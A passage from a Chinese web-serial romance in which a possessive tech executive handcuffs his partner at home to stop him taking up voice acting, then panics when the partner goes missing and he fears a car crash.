饭还没吃完,江措的手机突然响了起来,江措接起电话,沈泱听见李冬语气紧绷地说了宇航科技几个字,江措的脸色顿时变得凝重。 “我知道了,我买明天的飞机过去。” “对,我亲自去和ciko谈。” 江措挂断电话后,沈泱问道,“怎么了?你又要出差吗?” 江措这两年出差频率很高。 江措让助理买一班飞往深城的机票后,回答沈泱,“我要去一趟深城,如果顺利,可能一两天就能回来,如果不顺利,可能要多耽搁两天。” “怎么了?”沈泱担忧道。 江措简单地给沈泱说明,“宇航科技有意购买宏瑞资本在三点的百分之二十的股份,并且已经签约了意向书。” 宇航科技在三点科技拥有百分之十六的股份,且有几个股东一直以来和宇航科技关系很好,如果宏瑞资本把百分之二十股份卖给了宇航,宇航科技在公司的持股就会太多。 尽管协议有规定同股不同权,不能影响到江措对公司的控制权,江措还是不太能接受某一个公司在成为公司的最大股东,会让他走一种失控的感觉。 而且宇航科技为什么忽然要购买宏瑞资本的股份?这也很令人值得商榷,所以江措打算亲自飞一趟深城。 江措吃完了饭,便去书房里打电话了,沈泱心烦意乱地泡在浴缸里,想了半天,决定等江措回来了再和他谈这件事。 江措的机票是早上八点的,沈泱五点多起床,送江措去了机场。 回到家,沈泱补了一个眠,睡醒后接到江措的电话,江措说他已经下飞机了。 两个人说了几句,沈泱起床洗漱,洗完脸从洗手间出来,手机铃声响了起来。 是范窈打来的电话。 范窈问他:“学弟,已经一天了,你想好了吗?工作室这边还等着你的回复呢。” 沈泱拉开窗帘,今天的太阳明媚灿烂,毫无顾忌地喷洒在他的肩膀,窗外的香樟树叶片翠绿,沈泱下定了决心,“我可以的,什么时候录音?” 轮到范窈卡壳了几秒,她语气欣喜,“沈泱,你老公终于想开了?” 沈泱:“我还没和他说呢,他有急事,今早出差去了,不过他会同意的。” 范窈说:“你愿意就够了,你今天有空吗?我们先把合同签了。” 沈泱白天没什么一定要做的事,他说了好。 沈泱下午去范窈的公司签完了合同。合同签完,范窈盯着手机看了几眼,忽然抬起头问沈泱,“学弟,有没有兴趣配游戏?” 沈泱:“?” 范窈说了游戏名字,问沈泱知道吗? “我知道啊,我有时候还会打两把呢。” 范窈:“你知道高子涵这个英雄吧?挺厉害的射手,他们公司要出一款山神系列的皮肤,所以最近在试音,原皮的cv他们觉得不够淡漠和仙气。” 配音圈并不大,范窈浸淫多年,消息顺畅。 “你去试一试呗,他们制作组的人恰好就在我们隔壁的录音棚试音。” 沈泱犹豫:“这可以吗?” “怎么不可以啊。”范窈说,“制作组选人,好几个工作室的cv都去了呢?” “走吧,我现在带你过去。”范窈身上有一些很相似的特征,两个人的执行力都很强,话说完,就把沈泱带到了隔壁的工作室。 还有七八个人排队试音,沈泱填了资料后,范窈没能陪着他,她还有事要做。 大家试音的台词都是那几句,沈泱等了快两个小时,才轮到了他。 游戏制作把方的要求说的很清楚,清楚的让人反而不知道到底怎么配了。 他们要这个皮肤高冷而不失悲悯,冷酷而不失柔情,因为是年轻山神设定,嗓音要年轻,是懵懂纯粹的执行者,要寒雪覆面,又要血液滚烫,又要清风陡袭。 既要又要还要,不愧是做甲方的!!沈泱听完要求后,佩服得五体投地。 大家试音的台词都是那么几句。 沈泱进入配音间,听不到玻璃墙外的一切声音。 沈泱清了清嗓子,寒着嗓子说道:“寒芒一出,山灵同怒,敢犯此间者,吾必诛之。” 录音棚里完全听不到外面的声音,制作组的要求通过耳麦传递到沈泱的耳膜里,“讲得再漂亮一点,有气势一点。” 试音只试五句台词,沈泱在录音棚里待了半个小时,试音结果今天也不会通知他,制作方还在迟疑,只说明天有结果了会通知大家。 沈泱没抱太大的期望,他不仅好几年没配音了,更是从来没有给游戏配过音,而且他从录音棚里走出来后,制作方的人对他也一点不热情。 范窈下班后,沈泱和她一起去吃了晚饭,她给沈泱讲了很多的行业内幕,沈泱回到家都十点过了。 翌日,沈泱下午接到了一个配音工作室的电话,昨天那个山神皮肤就是在他们工作室试音的,问沈泱明天有空吗?来给这个皮肤配音。 “他们这个皮肤下个月就打算上线了,所以要得比较急,沈泱,你明天可以抽出半天时间吗?” 沈泱趴在床上,惊讶道:“所以他们选了我是吧?” 王贺说:“是,你的声音他们很满意。” “可以,我明天上午过来!” 翌日上午,沈泱去了声律光年工作室配完了游戏皮肤的十几句台词,刚走出录音棚,沈泱发现他的手机有五个未接电话,沈泱心一慌,刚才他太投入了,忘了给江措回消息了。 沈泱疾步来到洗手间后,连忙把电话给江措拨通回去。 江措:“沈泱,你在做什么?” 沈泱淡定道:“我在外面逛街呢,手机不小心按成静音了,没发现。” 沈泱这么多年的信誉一直很好,江措没多怀疑,叮嘱了两句,想买什么就买,太累了就让胡大江开车去接他,紧接着,沈泱有人叫江总的声音,沈泱说:“我知道了,你去忙吧。” 挂断电话后,沈泱真的去商场转了一圈,给江措买了条烟灰色的围巾。 江措是在半夜回的申城,沈泱睡得迷迷糊糊时,忽然感觉到旁边的床垫塌陷,一双手搭在了他的腰上,沈泱原来只是下意识朝江措的肩膀蹭了蹭,忽然意识到了什么,沈泱瞬间睁开了眼,“江措,你回来了?!” 房间里的顶灯关掉了,只有路灯透过没拉紧的窗帘透进一点,沈泱声音又是慵懒又是惊喜,“现在几点了啊?” “你不是说明天早上回来吗?” 晚上江措给沈泱打了电话,说事情已经解决了,买了明天早上六点的机票,大概八点半能到家。 见沈泱醒了,江措拿起遥控板,摁亮了温黄的床头灯,沈泱的轮廓不再模糊,清晰地出现在江措的视网膜里,江措亲了亲他的额头,低声说:“十点多又看了看机票,发现十二点的飞机有人退票了,可以购买,我改签提前回来了。” “现在三点半了。”江措回答沈泱的问题。 沈泱有点心疼他:“你干嘛总是急着回来啊,睡一觉养足了精神再回来不好吗?你老是这样,对身体不好。” 江措只是说,“宝宝,我只想回来和你一起睡。”—— 作者有话说:晚安,么么,谢谢宝宝们的支持,本章送五十个小红包啦[求求你了][求求你了][求求你了] 第59章 又见沈泱精神了一些, 不是很困倦的样子,江措的手从他睡衣下摆伸了进去,“不是很困了吧” 男人的尾音压低了, 完完全全地成熟男人的低沉嗓音, 又飘在沈泱的耳边,几乎是瞬间,沈泱的腰酥软了下来。 说是一次, 一共搞了三次,在一起太多年了, 沈泱早就知道江措是个肉食系动物,天快亮了, 江措抱着沈泱去洗了个澡, 换了干净的四件套, 才抱着他一起睡了过去。 沈泱醒过来的时候, 天光大亮, 江措已经不在床上了。 江措给他留了消息, 说他去公司上班了, 今天有两个重要的会要参加,不过晚上会早点下班, 会早点回家来陪他。 沈泱一直都是知道江措是很喜欢自己的, 这么多年从来没有怀疑过这件事, 江措这么多年,一直很忙, 从身无分文的藏族少年到申城最声名鹊起的网络公司的老板, 江措一直在努力地压缩自己的时间,学习,创业, 工作,赚钱,可他不仅永远舍得给沈泱花钱,还永远也会挤出时间陪伴沈泱,就算再忙,每一周也会抽出半天或者一天的时间和沈泱在一起。 钱,时间,精力,不管在江措的每个阶段,他统统都舍得为沈泱付出。 这几年就算再忙,也会陪沈泱去度假,尽管白天陪沈泱到处看风景晚上还要加班,江措从来没有抱怨过一句。 沈泱:【我刚醒】 沈泱趿拉着拖鞋去卫生间洗漱,下楼吃午饭时,江措的消息才姗姗来迟,【吃饭了吗?】 沈泱把自己的午餐拍照,发给了江措。 下午,沈泱开车去了江措的公司,只是江措今天一直在开会,沈泱只能一个人待在办公室,沈泱坐在江措的办公桌前,从笔筒里抽出一支小黄狗脑袋的中性笔,又抽出一张纸。 他拿着笔,低下头。 沈泱小时候上过很多艺术班,先是学了钢琴,学了大半年,老师隐晦地告诉沈父沈泱没什么天赋就算了,对钢琴的喜爱消失了,沈父见沈泱老是喜欢涂涂画画,于是送他去画画。 学了大半年,老师说沈泱没什么画画的天赋,而且沈泱也不喜欢画室的环境,总觉得太脏太乱,于是沈父送沈泱去学街舞,他觉得男孩子学这个会很帅。 老师说沈泱的柔韧性很好但是没有任何舞感,断断续续地学了一年,沈泱改成了学书法,沈泱不是特别认真地学习,也没有太多的天赋,学习结果也没有特别好。 不过有一点底子,总是比没有底子要好。 沈泱放下笔,打开江措的抽屉,把那一张纸放了进去。 又过了一会儿,江措终于开完会,回到了办公室。 “等久了吧,泱泱。”江措拉上门。 “特别久,你再不回来我就要走了!” “想好吃什么了吗?”江措把沈泱抱了起来,让他坐在自己的大腿上,在系统上走完了几个程序,关掉电脑。 沈泱从江措的大腿上下去了,“都行。” 江措却不太满意都行这个答案,他不喜欢随便挑一家餐厅,因为这样子的餐厅大概率不会太好,既然沈泱没有想法,他亲自挑了几个餐厅,沈泱最后选择了一家粤菜馆。 将沈泱扔在沙发上的外套拿过来挂在臂弯上,江措说:“走吧。” 两人走出办公室,沈泱想起一件事,“江措,你那个长得特别帅的男助理呢?怎么几次过来都没有看到过他了。” 江措蹙了下眉,“你说的是周云辰?” 江措的眼睫往下压了压,“你觉得他帅?” “他长得不是挺一般的吗?”江措道,“他心思不用在工作上,已经被辞退了。” 沈泱就是随口一问,毕竟那个男生是江措办公室里最帅的男生,听到江措说辞退了,沈泱颔首赞同:“还是工作能力比较重要。” 电梯门打开了,江措大手贴在沈泱的后腰上,带着他走进了电梯。 吃完了晚饭,江措带着沈泱去了附近的商场。 江措和沈泱两个人,江措其实是那个更喜欢购置衣物和配饰的人,给沈泱。 很多年前,在江措一个月只能赚一两千的时候,都要给沈泱买几身漂亮保暖的衣服,现在这个爱好变本加厉,哪怕江措现在可以说实现了财富自由,但给自己买的东西一直都不是很昂贵,超过四位数都会犹豫半晌,但只要是给沈泱买东西,几千几万眼都不眨。 逛了两个多小时的商场,江措意犹未尽,步步生风,沈泱体力告罄,江措迁就沈泱,只能打道回府。 十几个袋子装满了奔驰的后备箱和后车座,沈泱眼珠子转了转,盯着驾驶座的江措说,“江措,我觉得你的爱好是洋娃娃。” 江措瞟了沈泱一眼。 沈泱故意道:“你以前不是还会缝衣服吗?江措,你会缝裙子吗?洛丽塔的小裙子,你买个洋娃娃给她亲手缝!” 江措伸出一只手,捏了捏沈泱放在膝盖上的手背,力道有点重,“你喜欢裙子?明天我给你买两条?” 沈泱生气了,他张开嘴,低下头,咬住了江措伸过来的右手,牙齿恶狠狠地碰上江措的手背,又忽然放轻力道,最后连忙呸呸两声。 江措太熟悉小公主了,小公主刚刚玩心起来了,忘记了他的手还没有洗过,现在爱干净的毛病发作了,连忙从中控台上抽了两张湿纸巾递给小公主。 沈泱接过纸巾,赶紧擦了擦自己的嘴巴,紧接着,又抽了两张纸巾,擦了擦江措的掌心掌背,含住江措的手掌,瞪大湿润的眼睛瞧着他。 江措从后视镜里瞥见沈泱可爱至极的表情,心脏狠狠地跳了一下,哑声道:“开车了,泱泱。” 沈泱把嘴巴张的更大,露出粉嫩的喉舌,江措的喉结滚了一下,被松开了的大手攥紧了方向盘。 汽车驶进车库,江措拎着十几个购物袋上了楼,贴身穿的衣物先挑出来,等会儿他去洗一洗,外套裤子围巾帽子耳罩分门别类地挂在衣帽间。 沈泱一边吃香蕉一边监工,有时候看江措有点辛苦,把吃了一半的香蕉递到江措的唇边,江措盯着沈泱润红的嘴,低头,咬下一块。 沈泱接着江措咬过的位置,又咬了一口,又把香蕉递到江措唇边。 两根香蕉吃完,江措也把衣服挂好了,沈泱觉得不能再拖了,叫了一声江措的名字,对他讲道:“我有件事要告诉你,江措。” 江措拿着他给沈泱买的几条内裤,正要去洗手间过一遍水,见沈泱的表情有点严肃,江措停下脚步,“什么事?” 沈泱的眼睫不安地颤动了几下,他攥紧了拳头,又觉得自己应该是能说服江措的,已经过去了这么多年了,难道江措还不清楚他的心意吗? 沈泱说:“我想去配音。” 这句话一出来,沈泱心脏超速跳动,心跳在一瞬间,几乎要蹦到嗓子眼了,他甚至不敢第一时间去看江措的表情。 过了两秒,眼神才彻底落在江措的脸上,江措笑了一下,低下头,亲了亲他的额头,和他讲这样的话,“宝宝,不要开这种玩笑。” 沈泱后退了一步,喉结不安地滚动,望着江措的眼睛,坚定道:“我不是开玩笑,我想去配音,江措,你有你的事业,你的工作,穆宁然他们也有他们的事业和工作,我才二十多岁,我不想一辈子就这样吃喝玩乐下去,我也要做我喜欢的事。” 江措的下颌线慢慢绷紧了起来,脸色逐渐变得难看,片刻后,他扯了扯唇角,放下手里的几条底裤,拉着沈泱坐在了他的大腿上,温声道:“沈泱,你如果觉得玩的无聊了,你是可以去上班,但你一直知道我的底线是什么。” 江措说:“我不能接受你暴露在太多人的眼里,你知道的,你太耀眼了,总是会招惹一些莫名其妙的人。” 沈泱是想和江措好好谈一谈的,可是沈泱从来也算不得一个脾气很好的人,很多时候,沈泱比江措更情绪化,两个人的相处时间里,大多数时候又都是江措毫无怨言地包容沈泱。 所以听到江措一而再,再而三地否认沈泱喜欢的东西时,沈泱的火气腾地燃烧了起来。 他蓦地从江措的大腿上挪开,朝着江措吼道:“我告诉你,江措,我现在不是征求你的同意,不管你同不同意,我都要去做配音!” “沈泱!”江措厉声道。 沈泱比他嗓门还大:“而且我前天已经去试音一个广播剧了,我试上了,我连合同都签了!” 江措的呼吸声顿时变得极其沉重,嗓音沙哑的发闷,他厉声道:“沈泱,你说什么?” 沈泱拿起床头凳上的靠枕朝他扔了过去,“我说我已经签约了,过两天我就要去配广播剧了,不管你同意不同意!!我去定了!!” 江措脖颈上盘错的青筋剧烈地跳动,他的眼睛盯着沈泱,里面有明显的怒意! 这四年来,两个人闹过一些无足轻重的小矛盾,大部分时候,都是江措让步,偶尔有两次,是沈泱不讲理,但江措最多黑一下脸,不轻不重地拍两下他的屁股,警告又无奈的意思比惩戒要多。 可是这一瞬间,沈泱又回忆起了很多年前,觉得江措的情绪又到了崩溃边缘。 沈泱有一点想跑,可又觉得凭什么他要跑,这件事完全就是江措的问题!!! 喉结忐忑地滑动,手心渗出热汗,江措眼神冷厉地看了他几眼后,忽然拿起扔到一旁的内裤,面无表情地蹲在洗手间,搓洗沈泱的内裤了。 沈泱手按着胸口,愣愣地看着洗手间里的江措,有点搞不懂他现在的想法。 江措洗完了内裤,拿了拖把开始拖被阿姨打扫得纤尘不染的地板,脸色阴沉沉,拖地非常用力,手臂上的青筋鼓了起来。 沈泱一句话也没说,洗完澡后就上了床。 不多时,拖完地的江措也面无表情地上了床,沈泱立刻靠近江措的怀里,叫了声老公,声音听起来是很软的。 江措掀起眼皮看了他一眼,平时对江措很奏效的绝招没有引起江措的任何情绪波动,江措闭上眼睛,睡觉了。 沈泱盯着他看了一会儿,也闭上了眼睛。 看来江措成熟了很多,不再是以前那个患得患失的江措了,要是早几年前的江措,不得把他绑起来揍上几顿啊? 现在只是黑着脸,沈泱心想,明天他再好好哄哄江措就行了,思及此,他仰起头,吧唧一口亲在了江措的下颌上,贴着江措温热的胸膛,闭上了眼睛。 等沈泱的呼吸变得平缓,估计他睡着了,一直闭着眼睛的江措睁开了眼睛,盯着在昏暗里的沈泱—— 作者有话说:这两天很忙,空闲时间太少了,纠结了两天后,上上一章大改了,用了另外一版,江措陪泱宝去了趟德国[求求你了][求求你了][求求你了] 第60章 沈泱缓缓睁开眼睛, 慢慢地回过神来,打了个呵欠,然后忽然意识到了什么, 猛然坐了起来。 沈泱拽动左手, 随之转动的,还有沈泱手腕上裹了黑色毛绒软布的手铐,沈泱瞪大双眸, 视线随着手铐绳索挪动。 手铐连接着黑色绳索,皮绳的顶端固定在床头柜旁边的墙面上, 绳索很长,沈泱应该可以在这间屋子里随意走动, 但没办法走出这间卧室! “我们优化了GBDT, 应该可以更准确的预测CTR, 完播率, 互动率……”江措正在算法部开小会, 衣兜里的手机嗡嗡地响了起来, 没打扰员工, 江措不引人注意地走出了小型会议圈,找了个暂时没人的办公室, 接通了电话。 “江措, 你个疯子, 你个变态,你他妈的应该是被炖一百次猪肉的大混蛋, 你是一头猪, 你是世界上最大的禽兽!!!”沈泱声色俱厉骂他的声音传递过来,“我命令你,你现在立刻滚回来把我手上这个东西给我解开, 立刻,马上!!!” 沈泱前所未有的暴怒,比江措第一次的打他屁股还要生气,他是一个人,不是一个动物,江措竟然敢用链子把他关在家里。 他真想拿把刀,给江措几下。 江措等沈泱宣泄完情绪,呼吸稳定一些,才说道:“等你打消不该有的念头,我自然会给你打开锁!” “江措,你他妈说的是人话吗?”沈泱火气冲天地道,“我不是你养的狗!!只有狗才会被铁链子拴在家里。” 江措拧了下眉,不赞同沈泱的说法,“那不是铁链子,我也没把你当狗,沈泱,你是我心里最在乎最重要的人。” “滚,有你这么对待最重要最在乎的人的吗?江措,你给我解开!!” 江措说:“饿了吗?我让王姨做早餐给你端上来,你想要吃什么!” “我要你回来!给我解开这个手铐!!!” 江措神色平静地道:“你打消要去配音的念头了吗?沈泱,别以为我不了解广播剧是什么,你别想和其他男人谈情说爱!!!” 沈泱坐在床上,使劲儿扯拽手上的镣铐,虽然手铐裹了一圈毛茸茸的软布材质,不太容易让手受伤,但沈泱暴力扯拽,手腕都被扯红了,手铐依旧纹丝不动地圈在他手上,令沈泱没办法离开这间卧室。 “江措,我告诉你,我就要去,除非你能把我关在屋子里一辈子!” 江措的呼吸止不住地沉了下来,心里生出一股怒意,他什么都可以纵容沈泱,体谅沈泱,包容沈泱,沈泱为什么不能在他的底线上包容体谅他一些。 他不是不允许沈泱去上班,去工作,去培养一些其他的爱好,但为什么是这样的爱好?要被很多人熟知的爱好? 江措硬下心肠,狠声道:“你看我能不能关你一辈子!” 啪的一声,是什么东西被恶狠狠地扔出去了,紧接着,手机里传来忙音,沈泱把手机给摔了。 江措保持着手机贴在耳膜边的姿势好一会儿,像一块石头一样纹丝不动,直到李冬叫了声江措,江措才在烦躁难受的情绪里回过神,维持着摇摇欲坠的理智,看起来很正常和大家交流,研究新算法。 沈泱坐在床上,手机被他扔到了墙角,他又用力拉了拉手腕上的手铐,传来皮革磨蹭皮肤的滋滋声响。 王姨按照江措的吩咐,做好了早餐,她端着早餐上了二楼,想起江措交代的,只是敲了两下门,没进去,把早餐放在门口后说,“沈泱,早饭我做好了。” 屋子里没传来任何回应。 王姨又敲了两下门,屋子里还是没有回应,王姨给江措打了个电话过去。 沈泱很爱干净,鼻子比狗还要灵敏,讨厌奇奇怪怪的味道,江措这些年宵衣旰食,和他一起创业,压力没他大的李冬和陈平风现在几乎每天都要抽上一包烟。 对身体是不好,可是解压,能消除烦恼,但沈泱不喜欢烟味儿,所以江措极少抽烟,实在是烦得不行,才会抽一根,他现在有了一股很强烈的抽烟的冲动。 江措硬生生地压下去这股欲望,对王姨说:“放在门口,别打扰他。” 王姨应了声好。 江措又说:“过半个小时再上去看看,他吃了吗?” 半个小时后,王姨打来电话,沈泱没吃早餐,水晶虾饺和鸡肉香菇烧麦冷掉了,江措让王姨重新做一份饭送上去。 过了半个小时,王姨说还是没动。 江措沉着脸,给沈泱打电话,电话没人接。 虽然能够猜到是沈泱在和自己闹脾气,所以故意不接听电话的,但是江措坐在电脑前,盯着密密麻麻的文件,看了半天后,仍然是一个字都没有看进去。 在公司坚持了两个小时,王姨说半个小时前送上去的食物还是没人动,江措交代了助理几句,匆匆驱车回了家。 拧开房门,江措朝里走了两步,枕头抱枕手办漫画书接连不断地朝他砸过来,江措心里松了口气,阔步朝着床头的地毯走去,那些东西接二连三地砸到江措的脚边和身旁。 “王姨说你早饭和午饭都没有吃。”江措瞥见墙角的手机,手机屏幕裂成了蜘蛛纹。 听到江措的话,沈泱拿起手边能砸到的东西恶狠狠地朝他甩过去,是沈泱最近最喜欢的一个动漫人物的手办,结实的塑料材质,手办砸到江措的下颌,他闷哼了一声,那一块麦色皮肤瞬间泛起红来,还有一条血印子。 江措:“沈泱,发泄够了吗?” 沈泱眼眶刹那间就红了,拳打脚踢朝着江措,声音崩溃道:“不够不够,江措,你这个大混蛋,变态,你她妈的竟然敢拿狗链子帮我关起来!你完了你彻底完蛋了!” “那什么是狗链子!那明明就是情趣手铐外加一条皮绳而已!” “就是狗链子,就是狗链子,只有狗才会这样被绑着!”沈泱大吼道。 江措弯腰,一把将坐在地毯上的沈泱抱了起来。 他坐在床边,沈泱坐在他的大腿上。 “你放开我?你还敢抱我!我准你碰我了吗!”沈泱没有指甲,但指腹猛烈地划过江措的脸颊脖颈,还是抓挠出几道血痕。 江措禁锢着他的人,任凭他发泄,等沈泱又捶又打了十几分钟,力气快告罄了,江措才按着他的后背,让他的脑袋贴着江措的肩膀,厉声道:“沈泱,打消你那不该有的念头了吗?” 沈泱逐渐平复的情绪再次崩溃,他眼泪一串串地掉下来,泪眼婆娑地朝江措吼道:“江措,我要是会离开你,高中毕业我就和穆宁然走了,大一的时候还有陈辞给我钱要养我,今年我的舅舅也醒过来了!” 沈泱真的太恨了,张开嘴就朝着江措的肩膀咬了下来,哽咽道:“你他妈为什么总是不相信我呢?总是不相信我呢!!!” 江措很不喜欢沈泱这个样子,不喜欢他难受,他喜欢他永远开心快乐,做任性自在的沈泱,他压抑住心里复杂难受的情绪,面无表情地道:“我当然信你,宝宝。” “你他妈根本就不相信我,你他妈永远都不相信我,你这么多年都不相信我!!!”沈泱撕心裂肺地吼道。 眼泪止不住地从沈泱的脸颊滚落,像一颗一颗炙热的铁钉,一颗一颗鲜血淋漓地钉在江措的心里。 江措心脏抽搐,他不愿意去想他的行为对不对,只是用过往的经历告诉他,又不是第一次吵架了,每次沈泱发泄结束后,总是会接受他的行为。 江措的大手牢牢地压在了沈泱的后腰。 敞亮凌乱的卧室里,西装革履的男人叉开腿,抱着一个漂亮哭泣的美貌青年,午后明媚的阳光穿进卧室的大落地窗,洒进啜泣声不断的卧室里。 阳光耗尽全力,也只能铺洒到年轻男人的大腿上,没办法再往上半寸。 青年的眉眼都笼罩在旧日的阴影里,无论如何都抹不去那一片暗色的阴影。 江措下午没去公司上班了,他在家里陪伴沈泱,一整个下午,沈泱都没给他好脸色,饭也不吃,还是江措以再不吃他就嚼碎了喂进他的嘴巴里威胁,沈泱才一把抢过他手里的虾肉馄饨,无精打采地吃了小半碗。 晚上,沈泱背对着江措蜷缩在双人大床上,等沈泱睡醒了,江措摁亮不刺眼的床头灯,小心翼翼地让沈泱头偏过来,专注深邃的眼神落在他紧皱的眉间。 江措手指刚落在沈泱紧拧的眉头间,沈泱不舒服地嘤了一声,江措的手悬在空中半晌,最后,僵硬地缩回了手。 不刺眼的床头灯亮了整整一夜,天将明,一只手伸出去,摁灭床头灯。 早上起来江措没有再用手铐铐着沈泱,要让他做出反思,江措和他讲话沈泱也只是低头看着手机,一声不吭,江措亲了亲他的额头,开车去上班。 而等江措走了后,沈泱绷着脸,拿着手机上了楼。 熟门熟路地找到拉开床头柜的抽屉,沈泱先拿了现金,又去衣帽间拿了一个不起眼的挎包,现金身份证放在里面,又拿了两张银行卡,沈泱大步流星地下了楼。 王姨准备去买菜,见沈泱拎着包下了楼,忙问道:“小泱,你要出门吗?中午回来吃吗?” 沈泱板着脸,没回答王姨的话,走了两步,顿住,转过头来对王姨说:“中午你不用做午饭了,我约了朋友出门玩。” “那行。”王姨没觉得沈泱的回答有问题,沈泱有时候会因为和朋友在外面玩,而不在家里吃饭的。 沈泱开着江措给他买的劳斯莱斯出了门。 江措到公司后,处理完几个紧急的工作事项,刚走出小会议室,江措就迫不及待拿出了手机。 往常这个时间段,都能收到沈泱发过来的消息了,今天的聊天页面当然是空空荡荡,沈泱什么消息也没有发送。 江措盯着没有任何新消息的聊天页面看了片刻,切换到通话页面,拨打电话回去。 电话被人挂断了,江措还想再拨,却听到电信公司员工的统一告知声,你拨打的电话正忙,暂时无法接通。 手背上的青筋鼓了鼓,江措给王姨打了通电话回去。 “喂,江措。”王姨不多时便接通了。 江措道:“王姨,沈泱在家里做什么?” 王姨道:“小泱啊?小泱不在家啊。” 江措的身体登时僵住,整个人愣在原地,愕然道:“不在家?” 王姨道:“你今天出门不久后,他出门了,说是要去见朋友,午饭也不回来吃了。” 江措挂断了电话,再给沈泱拨了一个电话过去,他有两个号码,一个工作号,一个私人号,两个号码都传来电信公司工作人员的机械的声音。 江措快步来到秘书室,“黄风。” 黄风从忙碌的工作中抬起头,江措伸出手,“手机用一下。” 黄风不明所以,老老实实地将手机递给江措。 江措拨打过去,沈泱果然不是正在忙碌,黄风的电话一打过去,电话通了,只是几秒钟之后,被人手动挂断了。 江措将手机还给黄风,回到办公室后,先给顾宝安打电话,这是沈泱来往密切的好友。 “江措?” “沈泱在你那?”江措开门见山。 顾宝安诧异:“沈泱?没有啊。” 挂断了顾宝安的电话后,江措一个一个联系沈泱在申城的好友,七八通电话都打完了,大家都不承认和沈泱在一起。 江措又借了一个秘书的电话给沈泱打过去,打通后没几秒,电话就又被人挂断了。 沈泱把劳斯莱斯停在一个停车场里,拎着帆布包走了出来,再一次挂断一个陌生号码,他站在街边,烦得想要直接把手机关机了,忽然想起了一件事,他在关机之前,给范窈打了一通电话。 “学弟。”范窈的声音响了起来。 沈泱缄默片刻,先说了一句抱歉。 范窈心里出现了一股不妙的预感,“怎么了?沈泱?” 沈泱用手指扣着帆布包上的小猫图案,“学姐,那个广播剧我配不了了,我要离开申城一段时间。” 沈泱前两天签的合同,他的时间很自由,便将就攻役的时间,订好了后天去录音棚录音,可现在这个情况,沈泱肯定没办法去工作室录音了。 沈泱说:“我会按照合同走的,该我赔的违约金……” 范窈正听着沈泱讲话,一声剧烈的爆炸声从手机里传来,紧接着,通话中断了,范窈脸瞬间一白,再次将电话拨打过去,可是电话怎么也打不通了。 范窈心神不宁六神无主时,有人打来了一个电话。 范窈急切地接通电话。 “范窈?”是一个男人的声音,听起来很熟悉。 没等范窈记起这个人是谁,对方说:“我是江措,沈泱今天去找你了吗?” 江措联系完沈泱所有亲近的人之后,想起了范窈,沈泱和范窈的联系不算很多,但这几年,也是藕断丝连! 江措并不是一点让步都不愿意做出,尤其他们是在纸醉金迷的申城,在久塘的时候,江措的聪明和不计回报的付出是很难寻找的,可是来到这里,会有很多人能将江措拼尽全力才捧到沈泱面前的东西不费吹灰之力就拿到他面前。 “江措!”范窈着急道,“沈泱才给我打了一通电话。” 江措猛然站直了身体,语速极快道:“他和你说什么了?他在哪里?” 范窈说:“我也不知道,他给我打电话说原定后天的录音计划他不能准时履行了,我正要再问,手机里传来一道爆炸声,我再打电话,就打不通了。” 江措的瞳孔骤然扩大,手掌紧攥住办公桌,嘶声道:“你说什么?” 范窈声音慌乱:“就是砰的一声,然后沈泱的电话就彻底中断了。” 挂断了范窈的电话后,江措给沈泱打电话,永远是你拨打的用户正忙,暂时无法接通,他又找了其他几个员工用他们的手机打电话,都是正忙,无法接通。 如果是一开始,没有和范窈的那通电话,江措会怀疑沈泱因为生气,关了机,或许也会因为联系不上沈泱,心里产生不可控的恐慌感,但还可以安慰自己。 但是现在,寒意从脊背上慢慢爬了上来,江措目眦尽裂,眼眶通红。 什么情况下才会忽然响起砰的一声,爆炸的一声。 王姨说沈泱是开着车出门的,他今天心情应该非常不好,而人在心情不好的情况下…… 黄风来给江措送文件,就看到向来沉稳冷峻的男人身体微微发着颤,呼吸前所未有的紊乱,黄风担忧道:“江总?” 江措强行逼迫自己冷静下来,他盯着黄风,似乎理智没有摇摇欲坠地吩咐道:“去查一辆尾号为3896的劳斯莱斯的今日行驶路线。“ “再找人,查……”江措说话的尾音都在发飘,惊骇感蔓延全身,喉咙间更是有血腥气冒出来,江措拼命地克制下去,“查一下今天十一点前后申城的车祸事故,有没有一个叫沈泱的伤者。” 黄风是江措的同班同学,很早就跟着江措了,自然清楚江措和沈泱的关系,更清楚沈泱在江措的心理地位,闻言,不敢懈怠,连忙放下文件出去了。 江措也顾不得公司里的公事了,着急忙慌离开了公司。 江措去查沈泱开着的那辆劳斯莱斯的行驶途径,小区门口有监控,很好寻找劳斯莱斯行驶的方向,可是几分钟后的道路上,却没有监控,江措只能朝路人打听,又找人,从几个方向调查。 可是一条道路的尽头又有分叉,有监控的只能是少数,在这个千万人口的大都市里,一辆黑色的劳斯莱斯并不是很起眼。 而比起在茫茫人海里寻找沈泱的下落,黄风那里速度很快,不多时就查询到了今天十一点前后一个小时的几场车祸。 听到今天在泰安路的一个伤者驾驶的是一辆劳斯莱斯时,江措整个人血色尽失。 “对,对方伤得怎么样?”喉咙里像是含了锋利的刀片,每个字都带着血腥气。 黄风道:“还在icu抢救。” 劳斯莱斯那么多,那辆号码不明的劳斯莱斯不一定是沈泱驾驶的那辆车,江措一边六魂无主地寻找沈泱的下落,一边又打了一辆车,来到了申城第六人民医院。 医院的抢救室亮着红灯,旁边似乎有人奄奄一息地趴在了地上,还有人双手合十,念念有词,还有人满是眼泪地盯着抢救室的大门。 忽然,大门打开了,几个护士推着一个蒙着脸的人走了出来,江措的脚下灌了铅一样,根本迈不动半分,这一个人当然不是他的沈泱,可是…… 他目光哀恸地盯着抢救室,喉结不安地吞咽,下一个呢? 这个世界上每天都会有意外发生的,前几天,他办公室的一个员工不就说兄弟突发心梗离世了吗?而江措自己也经历好几次了。 小时候,养的那只小白明明上午还陪着他做饭下地,晚上回到家,就变成了一盘令人作呕的狗肉。 再早一点,他奶奶在早上告诉他,明天去外地打工,两个月后回家,可一别就是十三年,再次相见是在奄奄一息的病床上。 人和人之间往往不知道哪一面就是最后一面。 又有一间抢救室的灯绿了,医生护士推着一张病床走了出来,没有家属朝那间抢救室的门口涌去,江措的心脏顿时像被一只手攥住,每一声心跳都钝得生疼。 江措用尽了力气朝病床上的那个人看过去,长头发,他呼出一大口气,身体紧贴着冷硬的墙壁颤抖着。 好像有什么声音响了起来。 江措反应从来没有这么缓慢过,许久之后,才发现这是他的手机在响。 他掏出手机,盯着那串数字看了半晌后,才意识到是范窈的来电。 范窈的电话? 江措手指颤抖地按了好几下接通键,指腹才落在了接通键上。 范窈的声音迅速传了过来,“江措,你别担心了,沈泱没事,他刚刚给我打电话说那个爆炸声是他走在路边,有两个小朋友朝下水道扔鞭炮,将下水道炸了。” 